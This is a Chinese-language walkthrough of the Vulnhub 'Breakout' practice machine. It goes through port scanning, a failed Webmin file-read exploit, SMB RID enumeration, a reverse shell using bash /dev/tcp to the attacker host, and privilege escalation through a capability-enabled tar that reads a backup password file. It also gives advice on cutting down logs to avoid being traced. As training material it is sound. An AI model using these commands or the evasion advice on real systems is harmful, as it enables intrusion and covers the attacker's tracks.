breakout
1.信息收集
用nmap进行主机发现,端口扫描,详细信息扫描,udp扫描与默认脚本漏洞扫描
其中详细信息扫描得到几个端口
80/tcp open http Apache httpd 2.4.51 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.51 (Debian)
139/tcp open netbios-ssn Samba smbd 4
445/tcp open netbios-ssn Samba smbd 4
10000/tcp open http MiniServ 1.981 (Webmin httpd)
|_http-title: 200 — Document follows
20000/tcp open http MiniServ 1.830 (Webmin httpd)
漏洞脚本扫描扫出10000端口有一个任意文件读取漏洞
http-vuln-cve2006-3392:
| VULNERABLE:
| Webmin File Disclosure
| State: VULNERABLE (Exploitable)
| IDs: CVE:CVE-2006-3392
| Webmin before 1.290 and Usermin before 1.220 calls the simplify_path function before decoding HTML.
| This allows arbitrary files to be read, without requiring authentication, using "..%01" sequences
| to bypass the removal of "../" directory traversal sequences.
|
| Disclosure date: 2006-06-29
| References:
| http://www.exploit-db.com/exploits/1997/
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3392
|_ http://www.rapid7.com/db/modules/auxiliary/admin/webmin/file_disclosure
2.已有漏洞利用
对已有有效信息进行分析,先尝试利用已有漏洞
searchsploit -m 1997 #复制漏洞利用库里的1997文件 是上方引用中提到的
查看文件中的利用示范
echo "Example : php webmin.php localhost 10000 http /etc/shadow\n";
尝试利用
php 1997.php 192.168.17.135 10000 http /etc/shadow
提升要用ssl加密,更改命令
php 1997.php https://192.168.17.135:10000 http /etc/shadow
报错
PHP Warning: Undefined array key 4 in /home/kali/Vulnhub/Breakout/nmapscan/1997.php on line 13
Usage php webmin.php HOST PORT HTTP/HTTPS FILE
Example : php webmin.php localhost 10000 http /etc/shadow
Coded by joffer , http://securitydot.net
无法利用可能为误报
3.渗透阶段
先查看80端口的服务
用curl命令先进行查看
curl 192.168.17.135:80 | cat -n #查看并显示第几行
发现有500多行,但有隐藏信息
501 <!--
502 don't worry no one will get here, it's safe to share with you my access. Its encrypted :)
503
504 ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>++++++++++++++++.++++.>>+++++++++++++++++.----.<++++++++++.-----------.>-----------.++++.<<+.>-.--------.++++++++++++++++++++.<------------.>>---------.<<++++++.++++++.
用浏览器查看验证
看起来像是一串编码,尝试解码
得到
.2uqPEfj3D<P'a-3
如果经验丰富的话,也可以看出他是brainfuck加密,可以用kali中自带的hsbrainfuck解密
这看上去像是一串密码,那我们需要一个账户
在10000,20000端口尝试弱密码都没有成功后,尝试获取更多信息
用smbmap来扫描139与445文件共享服务
print$ NO ACCESS Printer Drivers
IPC$ NO ACCESS IPC Service (Samba 4.13.5-Debian)
RID枚举工具
enum4linux-ng
impacket-lookupsid
impacket-smrdump
impacket-rpcmap
rpcclient
nxc中的smb
nmap脚本中的smb-enum-users
首先要确定的是,目标能否匿名绘画
使用smbclient
smbclient -L //192.168.17.135 -N #-L 以列表形式,-N不要询问凭据
smbclient -L //192.168.17.135 -N -U "" #给予空字符串,比对两条命令的返回,查看是否能够允许匿名 绘画
尝试链接IPC$能否匿名链接
smbclient //192.168.17.135/IPC$ -U "" #如果能匿名链接,说明能够用匿名的方式调用以下端点
| 管道名 | 对应服务 | 功能 |
|---|---|---|
\samr | SAM 数据库 | 用户和组管理 |
\lsarpc | LSA 服务 | 本地安全策略 |
\srvsvc | 服务器服务 | 共享和会话管理 |
\netlogon | 网络登录 | 域认证 |
\winreg | 注册表服务 | 远程注册表访问 |
使用impacket-lookupsid进行探测尝试
返回报错
[*] Brute forcing SIDs at 192.168.17.135
[*] StringBinding ncacn_np:192.168.17.135[\pipe\lsarpc]
[-] nca_s_op_rng_error
显示成功绑定但并未成功执行方法,
但这里有一个非常重要的点
用impacket-rpcmap进行对\pipe\lsarpc进行操作数枚举
impacket-rpcmap -brute-opnums -opnum-max 64 -auth-level 1'ncacn_np:192.168.17.135[\pipe\lsarpc]'
其中一部分的操作数上不可用的,这有可能会导致枚举失败或不完全,但是我们还有另一个接口[\pipe\samr]
同样的对其进行操作数枚举,[\pipe\samr]接口他的操作数更加完整,能够枚举出用户的希望也更大。
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[-] Protocol failed: nca_s_proto_error #这个报错意味着没有设置认证 水平参数
有一些操作数没有找到,从这个端点枚举可能不能获得完整信息
其中还提到了MS-DSSP和MS-RPCE分别为域安装与配置协议和PRC(remote PRocedure Call)调用协议
使用impacket中的impacket-samrdump进行枚举
发现能看到域,看不到用户,是因为匿名查询限制了用户的返回,该工具不支持暴力枚举,需要更换工具
我们用到nxc smb进行尝试,通过-debug可以看到该工具也是用的\pipe\lsarpc管道端点
使用更底层的rpcclient
链接上后
enumdomains #查询域
lookupdomain [域名] #进一步查询域的映射信息,比如sid
lookupsids [sid]-[rid] #预留544为管理员用户
lookupnames root #查询root的sid
lookupsids [sid]-1000 #1000及以上的uid才是真实的用户
但是不通过链接而是告诉rpcclient执行的命令的话,可以让生成的日志更少,增加反溯源的难度
sudo rpcclient -U '' -N 192.168.17.135 -c "lookuosids S-1-22-1-1000" #该靶场最后查询到所需 用户的命令
或者
使用enum4linux-ng比较自动的枚举,该靶场需要使用-R 参数,是rid循环枚举,因为在这个靶场通过amrs和lsarpc的查询是无效的,得需要通过暴力枚举才行。
在真实情况下,要有混淆,并且避免大数量的去暴力枚举
这里通过lookupnames和lookupsids两条命令的交叉查询,去获取更多的用户信息
这里能得到一个叫cyber的用户
在20000的端口上的Usermin服务可以用他作为用户名与先前brainfuck加密的密码获取管理员权限
其中有服务器shell使用反弹shell去链接kali
bash -i >& /dev/tcp/192.168.17.130/443 0>&1
成功获取shell
在经过一些常规枚举后,通过getcap发现tar有任意读取与搜索的权限
此时思路就跳转到寻找有价值的文件,在通过.tar去读取
用下面的命令去查询敏感文件
find / \( -name '*pass*' -or -name '*.bak*' \) -or \( -path /var/lib -or -path /usr/share -o -path /sys -o -path /usr/lib \) -prune 2>/dev/null
在其中有一个/var/backups/.old_pass.bak比较显眼
尝试提取他
./tar -cf pass.tar /var/backups/.old_pass.bak
./tar -xf pass.tar # 因为归档过程中带有绝对路径,所以我们要去他的 路径中寻找她,而不是在当前路径寻找
获得密钥
Ts&4&YurgtRX(=~h
搜索该系统有哪些带sh的用户
发现只有cyber和root,那尝试切换root用户
最后输入密码,提权成功
查看flag
3mp!r3{You_Manage_To_BreakOut_From_My_System_Congratulation}
Author: Icex64 & Empire Cybersecurity
到此结束